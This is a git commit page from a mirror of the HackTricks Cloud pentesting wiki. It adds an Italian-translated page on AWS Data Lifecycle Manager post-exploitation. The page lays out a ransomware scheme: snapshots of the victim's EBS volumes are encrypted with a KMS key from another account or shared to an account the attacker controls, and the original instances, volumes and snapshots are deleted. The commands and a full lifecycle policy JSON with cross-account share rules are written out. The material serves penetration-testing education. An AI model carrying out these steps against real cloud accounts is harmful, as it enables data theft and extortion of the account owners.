mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-10 04:05:09 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -0,0 +1,91 @@
|
||||
# AWS - DLM Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Data Lifecycle Manger (DLM)
|
||||
|
||||
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
|
||||
|
||||
Un attacco ransomware può essere eseguito cifrando il maggior numero possibile di EBS volumes e poi cancellando le EC2 instances correnti, gli EBS volumes e gli snapshots. Per automatizzare questa attività malevola si può impiegare Amazon DLM, cifrando gli snapshots con una KMS key proveniente da un altro AWS account e trasferendo gli snapshots cifrati in un account diverso. In alternativa, si possono trasferire snapshots non cifrati in un account gestito dall'attaccante e poi cifrarli lì. Sebbene non sia semplice cifrare direttamente EBS volumes o snapshots esistenti, è possibile farlo creando un nuovo volume o snapshot.
|
||||
|
||||
Per prima cosa si utilizza un comando per raccogliere informazioni sui volumi, come instance ID, volume ID, encryption status, attachment status e volume type.
|
||||
|
||||
`aws ec2 describe-volumes`
|
||||
|
||||
Successivamente si creerà la lifecycle policy. Questo comando utilizza la DLM API per impostare una lifecycle policy che crea automaticamente snapshot giornalieri dei volumi specificati a un orario designato. Applica inoltre tag specifici agli snapshots e copia i tag dai volumi agli snapshots. Il file policyDetails.json include i dettagli della lifecycle policy, come i target tags, lo schedule, l'ARN della KMS key opzionale per la cifratura e l'account di destinazione per la condivisione degli snapshots, che verrà registrato nei CloudTrail logs della vittima.
|
||||
```bash
|
||||
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
|
||||
```
|
||||
Un modello per il documento di policy può essere visto qui:
|
||||
```bash
|
||||
{
|
||||
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
|
||||
"ResourceTypes": [
|
||||
"VOLUME"
|
||||
],
|
||||
"TargetTags": [
|
||||
{
|
||||
"Key": "ExampleKey",
|
||||
"Value": "ExampleValue"
|
||||
}
|
||||
],
|
||||
"Schedules": [
|
||||
{
|
||||
"Name": "DailySnapshots",
|
||||
"CopyTags": true,
|
||||
"TagsToAdd": [
|
||||
{
|
||||
"Key": "SnapshotCreator",
|
||||
"Value": "DLM"
|
||||
}
|
||||
],
|
||||
"VariableTags": [
|
||||
{
|
||||
"Key": "CostCenter",
|
||||
"Value": "Finance"
|
||||
}
|
||||
],
|
||||
"CreateRule": {
|
||||
"Interval": 24,
|
||||
"IntervalUnit": "HOURS",
|
||||
"Times": [
|
||||
"03:00"
|
||||
]
|
||||
},
|
||||
"RetainRule": {
|
||||
"Count": 14
|
||||
},
|
||||
"FastRestoreRule": {
|
||||
"Count": 2,
|
||||
"Interval": 12,
|
||||
"IntervalUnit": "HOURS"
|
||||
},
|
||||
"CrossRegionCopyRules": [
|
||||
{
|
||||
"TargetRegion": "us-west-2",
|
||||
"Encrypted": true,
|
||||
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
|
||||
"CopyTags": true,
|
||||
"RetainRule": {
|
||||
"Interval": 1,
|
||||
"IntervalUnit": "DAYS"
|
||||
}
|
||||
}
|
||||
],
|
||||
"ShareRules": [
|
||||
{
|
||||
"TargetAccounts": [
|
||||
"123456789012"
|
||||
],
|
||||
"UnshareInterval": 30,
|
||||
"UnshareIntervalUnit": "DAYS"
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"Parameters": {
|
||||
"ExcludeBootVolume": false
|
||||
}
|
||||
}
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user